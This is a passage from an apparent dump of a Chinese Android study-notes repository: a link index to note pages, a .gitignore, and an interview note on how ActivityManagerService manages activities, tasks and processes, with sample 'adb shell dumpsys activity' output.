https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/JavaKnowledge/volatile%E5%92%8CSynchronized%E5%8C%BA%E5%88%AB.md   \"volatile和Synchronized区别\"\n[110]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E5%AE%89%E5%85%A8%E9%80%80%E5%87%BA%E5%BA%94%E7%94%A8%E7%A8%8B%E5%BA%8F.md   \"安全退出应用程序\"\n[111]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E7%97%85%E6%AF%92.md   \"病毒\"\n[112]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E8%B6%85%E7%BA%A7%E7%AE%A1%E7%90%86%E5%91%98(DevicePoliceManager).md   \"超级管理员(DevicePoliceManager)\"\n[113]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E7%A8%8B%E5%BA%8F%E7%9A%84%E5%90%AF%E5%8A%A8%E3%80%81%E5%8D%B8%E8%BD%BD%E5%92%8C%E5%88%86%E4%BA%AB.md   \"程序的启动、卸载和分享\"\n[114]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E4%BB%A3%E7%A0%81%E6%B7%B7%E6%B7%86.md   \"代码混淆\"\n[115]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E8%AF%BB%E5%8F%96%E7%94%A8%E6%88%B7logcat%E6%97%A5%E5%BF%97.md   \"读取用户logcat日志\"\n[116]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E7%9F%AD%E4%BF%A1%E5%B9%BF%E6%92%AD%E6%8E%A5%E6%94%B6%E8%80%85.md   \"短信广播接收者\"\n[117]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E5%A4%9A%E7%BA%BF%E7%A8%8B%E6%96%AD%E7%82%B9%E4%B8%8B%E8%BD%BD.md   \"多线程断点下载\"\n[118]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E9%BB%91%E5%90%8D%E5%8D%95%E6%8C%82%E6%96%AD%E7%94%B5%E8%AF%9D%E5%8F%8A%E5%88%A0%E9%99%A4%E7%94%B5%E8%AF%9D%E8%AE%B0%E5%BD%95.md   \"黑名单挂断电话及删除电话记录\"\n[119]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E6%A8%AA%E5%90%91ListView.md   \"横向ListView\"\n[120]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E6%BB%91%E5%8A%A8%E5%88%87%E6%8D%A2Activity(GestureDetector).md   \"滑动切换Activity(GestureDetector)\"\n[121]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E8%8E%B7%E5%8F%96%E8%81%94%E7%B3%BB%E4%BA%BA.md   \"获取联系人\"\n[122]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E8%8E%B7%E5%8F%96%E6%89%8B%E6%9C%BA%E5%8F%8ASD%E5%8D%A1%E5%8F%AF%E7%94%A8%E5%AD%98%E5%82%A8%E7%A9%BA%E9%97%B4.md   \"获取手机及SD卡可用存储空间\"\n[123]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E8%8E%B7%E5%8F%96%E6%89%8B%E6%9C%BA%E4%B8%AD%E6%89%80%E6%9C%89%E5%AE%89%E8%A3%85%E7%9A%84%E7%A8%8B%E5%BA%8F.md   \"获取手机中所有安装的程序\"\n[124]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E8%8E%B7%E5%8F%96%E4%BD%8D%E7%BD%AE(LocationManager).md   \"获取位置(LocationManager)\"\n[125]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E8%8E%B7%E5%8F%96%E5%BA%94%E7%94%A8%E7%A8%8B%E5%BA%8F%E7%BC%93%E5%AD%98%E5%8F%8A%E4%B8%80%E9%94%AE%E6%B8%85%E7%90%86.md   \"获取应用程序缓存及一键清理\"\n[126]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E5%BC%80%E5%8F%91%E4%B8%AD%E5%BC%82%E5%B8%B8%E7%9A%84%E5%A4%84%E7%90%86.md   \"开发中异常的处理\"\n[127]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E5%BC%80%E5%8F%91%E4%B8%ADLog%E7%9A%84%E7%AE%A1%E7%90%86.md   \"开发中Log的管理\"\n[128]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E5%BF%AB%E6%8D%B7%E6%96%B9%E5%BC%8F%E5%B7%A5%E5%85%B7%E7%B1%BB.md   \"快捷方式工具类\"\n[129]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E6%9D%A5%E7%94%B5%E5%8F%B7%E7%A0%81%E5%BD%92%E5%B1%9E%E5%9C%B0%E6%8F%90%E7%A4%BA%E6%A1%86.md   \"来电号码归属地提示框\"\n[130]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E6%9D%A5%E7%94%B5%E7%9B%91%E5%90%AC%E5%8F%8A%E5%BD%95%E9%9F%B3.md   \"来电监听及录音\"\n[131]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E9%9B%B6%E6%9D%83%E9%99%90%E4%B8%8A%E4%BC%A0%E6%95%B0%E6%8D%AE.md   \"零权限上传数据\"\n[132]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E5%86%85%E5%AD%98%E6%B3%84%E6%BC%8F.md   \"内存泄漏\"\n[133]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E5%B1%8F%E5%B9%95%E9%80%82%E9%85%8D.md   \"屏幕适配\"\n[134]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E4%BB%BB%E5%8A%A1%E7%AE%A1%E7%90%86%E5%99%A8(ActivityManager).md   \"任务管理器(ActivityManager)\"\n[135]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E6%89%8B%E6%9C%BA%E6%91%87%E6%99%83.md   \"手机摇晃\"\n[136]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E7%AB%96%E7%9D%80%E7%9A%84Seekbar.md   \"竖着的Seekbar\"\n[137]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E6%95%B0%E6%8D%AE%E5%AD%98%E5%82%A8.md   \"数据存储\"\n[138]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E6%90%9C%E7%B4%A2%E6%A1%86.md   \"搜索框\"\n[139]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E9%94%81%E5%B1%8F%E4%BB%A5%E5%8F%8A%E8%A7%A3%E9%94%81%E7%9B%91%E5%90%AC.md   \"锁屏以及解锁监听\"\n[140]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0.md   \"文件上传\"\n[141]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E4%B8%8B%E6%8B%89%E5%88%B7%E6%96%B0ListView.md   \"下拉刷新ListView\"\n[142]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E4%BF%AE%E6%94%B9%E7%B3%BB%E7%BB%9F%E7%BB%84%E4%BB%B6%E6%A0%B7%E5%BC%8F.md   \"修改系统组件样式\"\n[143]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E9%9F%B3%E9%87%8F%E5%8F%8A%E5%B1%8F%E5%B9%95%E4%BA%AE%E5%BA%A6%E8%B0%83%E8%8A%82.md   \"音量及屏幕亮度调节\"\n[144]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E5%BA%94%E7%94%A8%E5%AE%89%E8%A3%85.md   \"应用安装\"\n[145]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E5%BA%94%E7%94%A8%E5%90%8E%E5%8F%B0%E5%94%A4%E9%86%92%E5%90%8E%E6%95%B0%E6%8D%AE%E7%9A%84%E5%88%B7%E6%96%B0.md   \"应用后台唤醒后数据的刷新\"\n[146]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E7%9F%A5%E8%AF%86%E5%A4%A7%E6%9D%82%E7%83%A9.md   \"知识大杂烩\"\n[147]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E8%B5%84%E6%BA%90%E6%96%87%E4%BB%B6%E6%8B%B7%E8%B4%9D%E7%9A%84%E4%B8%89%E7%A7%8D%E6%96%B9%E5%BC%8F.md   \"资源文件拷贝的三种方式\"\n[148]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E8%87%AA%E5%AE%9A%E4%B9%89%E8%83%8C%E6%99%AF.md   \"自定义背景\"\n[149]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E8%87%AA%E5%AE%9A%E4%B9%89%E6%8E%A7%E4%BB%B6.md   \"自定义控件\"\n[150]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E8%87%AA%E5%AE%9A%E4%B9%89%E7%8A%B6%E6%80%81%E6%A0%8F%E9%80%9A%E7%9F%A5.md   \"自定义状态栏通知\"\n[151]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E8%87%AA%E5%AE%9A%E4%B9%89Toast.md   \"自定义Toast\"\n[152]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/adb%20logcat%E4%BD%BF%E7%94%A8%E7%AE%80%E4%BB%8B.md   \"adb logcat使用简介\"\n[153]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/Android%E7%BC%96%E7%A0%81%E8%A7%84%E8%8C%83.md   \"Android编码规范\"\n[154]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/Android%E5%8A%A8%E7%94%BB.md   \"Android动画\"\n[155]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/Android%E5%9F%BA%E7%A1%80%E9%9D%A2%E8%AF%95%E9%A2%98.md   \"Android基础面试题\"\n[156]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/Android%E5%85%A5%E9%97%A8%E4%BB%8B%E7%BB%8D.md   \"Android入门介绍\"\n[157]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/Android%E5%9B%9B%E5%A4%A7%E7%BB%84%E4%BB%B6%E4%B9%8BContentProvider.md   \"Android四大组件之ContentProvider\"\n[158]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/Android%E5%9B%9B%E5%A4%A7%E7%BB%84%E4%BB%B6%E4%B9%8BService.md   \"Android四大组件之Service\"\n[159]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/Ant%E6%89%93%E5%8C%85.md   \"Ant打包\"\n[160]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/Bitmap%E4%BC%98%E5%8C%96.md   \"Bitmap优化\"\n[161]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/Fragment%E4%B8%93%E9%A2%98.md   \"Fragment专题\"\n[162]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/Home%E9%94%AE%E7%9B%91%E5%90%AC.md   \"Home键监听\"\n[163]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/HttpClient%E6%89%A7%E8%A1%8CGet%E5%92%8CPost%E8%AF%B7%E6%B1%82.md   \"HttpClient执行Get和Post请求\"\n[164]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/JNI_C%E8%AF%AD%E8%A8%80%E5%9F%BA%E7%A1%80.md   \"JNI_C语言基础\"\n[165]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/JNI%E5%9F%BA%E7%A1%80.md   \"JNI基础\"\n[166]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/ListView%E4%B8%93%E9%A2%98.md   \"ListView专题\"\n[167]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/Parcelable%E5%8F%8ASerializable.md   \"Parcelable及Serializable\"\n[168]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/PopupWindow%E7%BB%86%E8%8A%82.md   \"PopupWindow细节\"\n[169]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/Scroller%E7%AE%80%E4%BB%8B.md   \"Scroller简介\"\n[170]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/ScrollingTabs.md   \"ScrollingTabs\"\n[171]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/SDK%20Manager%E6%97%A0%E6%B3%95%E6%9B%B4%E6%96%B0%E7%9A%84%E9%97%AE%E9%A2%98.md   \"SDK Manager无法更新的问题\"\n[172]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/Selector%E4%BD%BF%E7%94%A8.md   \"Selector使用\"\n[173]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/SlidingMenu.md   \"SlidingMenu\"\n[174]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/String%E6%A0%BC%E5%BC%8F%E5%8C%96.md   \"String格式化\"\n[175]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/TextView%E8%B7%91%E9%A9%AC%E7%81%AF%E6%95%88%E6%9E%9C.md   \"TextView跑马灯效果\"\n[176]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/WebView%E6%80%BB%E7%BB%93.md   \"WebView总结\"\n[177]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/Widget(%E7%AA%97%E5%8F%A3%E5%B0%8F%E9%83%A8%E4%BB%B6).md   \"Widget(窗口小部件)\"\n[178]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/Wifi%E7%8A%B6%E6%80%81%E7%9B%91%E5%90%AC.md   \"Wifi状态监听\"\n[179]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/XmlPullParser.md   \"XmlPullParser\"\n\n\n[180]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/KotlinCourse/Kotlin%E5%AD%A6%E4%B9%A0%E6%95%99%E7%A8%8B(%E4%B8%80).md \"Kotlin学习教程(一)\"\n[181]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/KotlinCourse/Kotlin%E5%AD%A6%E4%B9%A0%E6%95%99%E7%A8%8B(%E4%BA%8C).md \"Kotlin学习教程(二)\"\n[182]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/KotlinCourse/Kotlin%E5%AD%A6%E4%B9%A0%E6%95%99%E7%A8%8B(%E4%B8%89).md \"Kotlin学习教程(三)\"\n[183]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/KotlinCourse/Kotlin%E5%AD%A6%E4%B9%A0%E6%95%99%E7%A8%8B(%E5%9B%9B).md \"Kotlin学习教程(四)\"\n[184]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/KotlinCourse/Kotlin%E5%AD%A6%E4%B9%A0%E6%95%99%E7%A8%8B(%E4%BA%94).md \"Kotlin学习教程(五)\"\n[185]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/KotlinCourse/Kotlin%E5%AD%A6%E4%B9%A0%E6%95%99%E7%A8%8B(%E5%85%AD).md \"Kotlin学习教程(六)\"\n[186]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/KotlinCourse/Kotlin%E5%AD%A6%E4%B9%A0%E6%95%99%E7%A8%8B(%E4%B8%83).md \"Kotlin学习教程(七)\"\n[187]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/KotlinCourse/Kotlin%E5%AD%A6%E4%B9%A0%E6%95%99%E7%A8%8B(%E5%85%AB).md \"Kotlin学习教程(八)\"\n[188]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/KotlinCourse/Kotlin%E5%AD%A6%E4%B9%A0%E6%95%99%E7%A8%8B(%E4%B9%9D).md \"Kotlin学习教程(九)\"\n[189]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/JavaKnowledge/%E5%85%AB%E7%A7%8D%E6%8E%92%E5%BA%8F%E7%AE%97%E6%B3%95.md \"八种排序算法\"\n[190]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/JavaKnowledge/%E7%BA%BF%E7%A8%8B%E6%B1%A0%E7%AE%80%E4%BB%8B.md \"线程池简介\"\n[191]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/JavaKnowledge/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F.md \"设计模式\"\n[192]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/JavaKnowledge/%E7%AE%97%E6%B3%95%E7%9A%84%E5%A4%8D%E6%9D%82%E5%BA%A6.md \"算法复杂度\"\n[193]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/JavaKnowledge/%E5%8A%A8%E6%80%81%E4%BB%A3%E7%90%86.md \"动态代理\"\n[194]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/AdavancedPart/ConstraintLaayout%E7%AE%80%E4%BB%8B.md \"ConstraintLaayout简介\"\n[195]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/JavaKnowledge/Http%E4%B8%8EHttps%E7%9A%84%E5%8C%BA%E5%88%AB.md \"Http与Https的区别\"\n[196]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/JavaKnowledge/Top-K%E9%97%AE%E9%A2%98.md \"Top-K问题\"\n[197]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/KotlinCourse/Kotlin%E5%AD%A6%E4%B9%A0%E6%95%99%E7%A8%8B(%E5%8D%81).md \"Kotlin学习教程(十)\"\n[198]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/AppPublish/%E4%BD%BF%E7%94%A8Jenkins%E5%AE%9E%E7%8E%B0%E8%87%AA%E5%8A%A8%E5%8C%96%E6%89%93%E5%8C%85.md \"使用Jenkins实现自动化打包\"\n[199]: https://github.com/pengMaster/BestNote/tree/master/docs/android/AndroidNote//Dagger2 \"Dagger2\"\n[200]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/Dagger2/1.Dagger2%E7%AE%80%E4%BB%8B(%E4%B8%80).md  \"1.Dagger2简介(一).md\"\n[201]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/Dagger2/2.Dagger2%E5%85%A5%E9%97%A8demo(%E4%BA%8C).md  \"2.Dagger2入门demo(二).md\"\n[202]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/Dagger2/3.Dagger2%E5%85%A5%E9%97%A8demo%E6%89%A9%E5%B1%95(%E4%B8%89).md  \"3.Dagger2入门demo扩展(三).md\"\n[203]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/Dagger2/4.Dagger2%E5%8D%95%E4%BE%8B(%E5%9B%9B).md  \"4.Dagger2单例(四).md\"\n[204]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/Dagger2/5.Dagger2Lay%E5%92%8CProvider(%E4%BA%94).md  \"5.Dagger2Lay和Provider(五).md\"\n[205]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/Dagger2/6.Dagger2Android%E7%A4%BA%E4%BE%8B%E4%BB%A3%E7%A0%81(%E5%85%AD).md  \"6.Dagger2Android示例代码(六).md\"\n[206]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/Dagger2/7.Dagger2%E4%B9%8Bdagger-android(%E4%B8%83).md  \"7.Dagger2之dagger-android(七).md\"\n[207]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/Dagger2/8.Dagger2%E4%B8%8EMVP(%E5%85%AB).md  \"8.Dagger2与MVP(八).md\"\n[208]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/AdavancedPart/Android%20WorkManager.md  \"Android WorkManager.md\"\n\n[209]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/RxJavaPart/4.RxJava%E8%AF%A6%E8%A7%A3%E4%B9%8B%E6%89%A7%E8%A1%8C%E5%8E%9F%E7%90%86(%E5%9B%9B).md  \"4.RxJava详解之执行原理(四)\"\n[210]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/RxJavaPart/5.RxJava%E8%AF%A6%E8%A7%A3%E4%B9%8B%E6%93%8D%E4%BD%9C%E7%AC%A6%E6%89%A7%E8%A1%8C%E5%8E%9F%E7%90%86(%E4%BA%94).md  \"5.RxJava详解之操作符执行原理(五)\"\n[211]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/RxJavaPart/6.RxJava%E8%AF%A6%E8%A7%A3%E4%B9%8B%E7%BA%BF%E7%A8%8B%E8%B0%83%E5%BA%A6%E5%8E%9F%E7%90%86(%E5%85%AD).md  \"6.RxJava详解之线程调度原理(六)\"\n[212]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/Dagger2/9.Dagger2%E5%8E%9F%E7%90%86%E5%88%86%E6%9E%90(%E4%B9%9D).md \"9.Dagger2原理分析(九)\"\n[213]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/Tools%26Library/%E8%B0%83%E8%AF%95%E5%B9%B3%E5%8F%B0Sonar.md \"调试平台Sonar\"\n"
  },
  {
    "path": "docs/.nojekyll",
    "content": ""
  },
  {
    "path": "docs/android/Android-Interview/.gitignore",
    "content": "# Node rules:\n## Grunt intermediate storage (http://gruntjs.com/creating-plugins#storing-task-files)\n.grunt\n\n## Dependency directory\n## Commenting this out is preferred by some people, see\n## https://docs.npmjs.com/misc/faq#should-i-check-my-node_modules-folder-into-git\nnode_modules\n\n# Book build output\n_book\n\n# eBook build output\n*.epub\n*.mobi\n*.pdf"
  },
  {
    "path": "docs/android/Android-Interview/Activity/Activity Task和Process.md",
    "content": "### 源码分析相关面试题\n\n- [Volley源码分析](http://www.jianshu.com/p/ec3dc92df581)\n- [注解框架实现原理](http://www.jianshu.com/p/20da6d6389e1)\n- [okhttp3.0源码分析](http://www.jianshu.com/p/9ed2c2f2a52c)\n- [onSaveInstanceState源码分析](http://www.jianshu.com/p/cbf9c3557d64)\n- [静默安装和源码编译](http://www.jianshu.com/p/2211a5b3c37f)\n\n### Activity相关面试题\n\n- [保存Activity的状态](http://www.jianshu.com/p/cbf9c3557d64)\n- [深刻剖析activity启动模式(一)](http://www.jianshu.com/p/b33fd8c550bf)\n- [深刻剖析activity启动模式(二)](http://www.jianshu.com/p/e1ea9e542112)\n- [深刻剖析activity启动模式(三)](http://www.jianshu.com/p/d13e3d552d4b)\n- [Activity Task和Process之间的关系](http://www.jianshu.com/p/d13e3d552d4b)\n- [service里面startActivity抛异常？activity不会](http://www.jianshu.com/p/16e880ceb3a4)\n\n### 与XMPP相关面试题\n\n- [XMPP协议优缺点](http://www.jianshu.com/p/2c04ac3c526a)\n- [极光消息推送原理](http://www.jianshu.com/p/d88dc66908cf)\n\n### 与性能优化相关面试题\n\n- [内存泄漏和内存溢出区别](http://www.jianshu.com/p/5dd645b05c76)\n- [UI优化和线程池实现原理](http://www.jianshu.com/p/c22398f8587f)\n- [代码优化](http://www.jianshu.com/p/ebd41eab90df)\n- [内存性能分析](http://www.jianshu.com/p/2665c31b9c2f)\n- [内存泄漏检测](http://www.jianshu.com/p/1514c7804a06)\n- [App启动优化](http://www.jianshu.com/p/f0f73fefdd43)\n- [与IPC机制相关面试题](http://www.jianshu.com/p/de4793a4c2d0)\n\n### 与登录相关面试题\n\n- [oauth认证协议原理](http://www.jianshu.com/p/2a6ecbf8d49d)\n- [token产生的意义](http://www.jianshu.com/p/9b7ce2d6c195)\n- [微信扫一扫实现原理](http://www.jianshu.com/p/a9d1f21bd5e0)\n\n### 与开发相关面试题\n\n- [迭代开发的时候如何向前兼容新旧接口](http://www.jianshu.com/p/cbecadec98de)\n- [手把手教你如何解决as jar包冲突](http://www.jianshu.com/p/30fdc391289c)\n- [context的原理分析](http://www.jianshu.com/p/2706c13a1769)\n- [解决ViewPager.setCurrentItem中间很多页面切换方案](http://www.jianshu.com/p/38ab6d856b56)\n- [字体适配](http://www.jianshu.com/p/33d499170e25)\n- [软键盘顶出去解决方案](http://www.jianshu.com/p/640bac6f58ab)与人事相关面试题\n- [人事面试宝典](http://www.jianshu.com/p/d61b553ff8c9)\n\nAMS提供了一个ArrayList mHistory来管理所有的activity，activity在AMS中的形式是ActivityRecord，task在AMS中的形式为TaskRecord，进程在AMS中的管理形式为ProcessRecord。如下图所示\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-1a0f2628f74ca65e?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n从图中我们可以看出如下几点规则：\n\n1) 所有的ActivityRecord会被存储在mHistory管理；\n\n2) 每个ActivityRecord会对应到一个TaskRecord，并且有着相同TaskRecord的ActivityRecord在mHistory中会处在连续的位置；\n\n3) 同一个TaskRecord的Activity可能分别处于不同的进程中，每个Activity所处的进程跟task没有关系；\n\nActivity启动时ActivityManagerService会为其生成对应的ActivityRecord记录，并将其加入到回退栈(back stack)中，另外也会将ActivityRecord记录加入到某个Task中。请记住，ActivityRecord，backstack，Task都是ActivityManagerService的对象，由ActivityManagerService进程负责维护，而不是由应用进程维护。\n\n在回退栈里属于同一个task的ActivityRecord会放在一起，也会形成栈的结构，也就是说后启动的Activity对应的ActivityRecord会放在task的栈顶\n\n执行adb shell dumpsys activity命令，发现有以下输出：\n\n```\nTask id #30\n  TaskRecord{7f2f34a #30 A=com.maweiqi.second U=0 sz=2}\n    Intent { flg=0x10000000 cmp=com.open.android.task1/.SecondActivity }\n     Hist #1: ActivityRecord{a0f9ded u0 com.open.android.task3/.OtherActivity t30}\n       Intent { flg=0x10400000 cmp=com.open.android.task3/.OtherActivity }\n       ProcessRecord{12090b5 27543:com.open.android.task3/u0a62}\n      Hist #0: ActivityRecord{1048af6 u0 com.open.android.task1/.SecondActivity t30}\n       Intent { flg=0x10000000 cmp=com.open.android.task1/.SecondActivity }\n       ProcessRecord{5bc013e 26035:com.open.android.task1/u0a59}\n\n Task id #31\n   TaskRecord{dce52bb #31 A=com.open.android.task3 U=0 sz=1}\n      Intent { act=android.intent.action.MAIN cat=[android.intent.category.LAUNCHER] flg=0x10000000 cmp=com.open.android.task3/.MainActivity }\n        Hist #0: ActivityRecord{f9e58c5 u0 com.open.android.task3/.MainActivity t31}\n      Intent { act=android.intent.action.MAIN cat=[android.intent.category.LAUNCHER] flg=0x10000000 cmp=com.open.android.task3/.MainActivity }\n          ProcessRecord{12090b5 27543:com.open.android.task3/u0a62}\n\n Task id #29\n      TaskRecord{5b063d8 #29 A=com.open.android.task1 U=0 sz=1}\n      Intent { act=android.intent.action.MAIN cat=[android.intent.category.LAUNCHER] flg=0x10000000 cmp=com.open.android.task1/.MainActivity }\n        Hist #0: ActivityRecord{689947d u0 com.open.android.task1/.MainActivity t29}\n          Intent { act=android.intent.action.MAIN cat=[android.intent.category.LAUNCHER] flg=0x10000000 cmp=com.open.android.task1/.MainActivity }\n          ProcessRecord{5bc013e 26035:com.open.android.task1/u0a59}\n\nRunning activities (most recent first):\n   TaskRecord{7f2f34a #30 A=com.maweiqi.second U=0 sz=2}\n        Run #3: ActivityRecord{a0f9ded u0 com.open.android.task3/.OtherActivity t30}\n   TaskRecord{dce52bb #31 A=com.open.android.task3 U=0 sz=1}\n        Run #2: ActivityRecord{f9e58c5 u0 com.open.android.task3/.MainActivity t31}\n   TaskRecord{7f2f34a #30 A=com.maweiqi.second U=0 sz=2}\n       Run #1: ActivityRecord{1048af6 u0 com.open.android.task1/.SecondActivity t30}\n   TaskRecord{5b063d8 #29 A=com.open.android.task1 U=0 sz=1}\n       Run #0: ActivityRecord{689947d u0 com.open.android.task1/.MainActivity t29}\n\nmResumedActivity: ActivityRecord{a0f9ded u0 com.open.android.task3/.OtherActivity t30}\n```\n\n从图对应文字在对应adb输出，这几个基本概念大家估计就清楚了。\n\n- 欢迎关注微信公众号,长期推荐技术文章和技术视频\n- 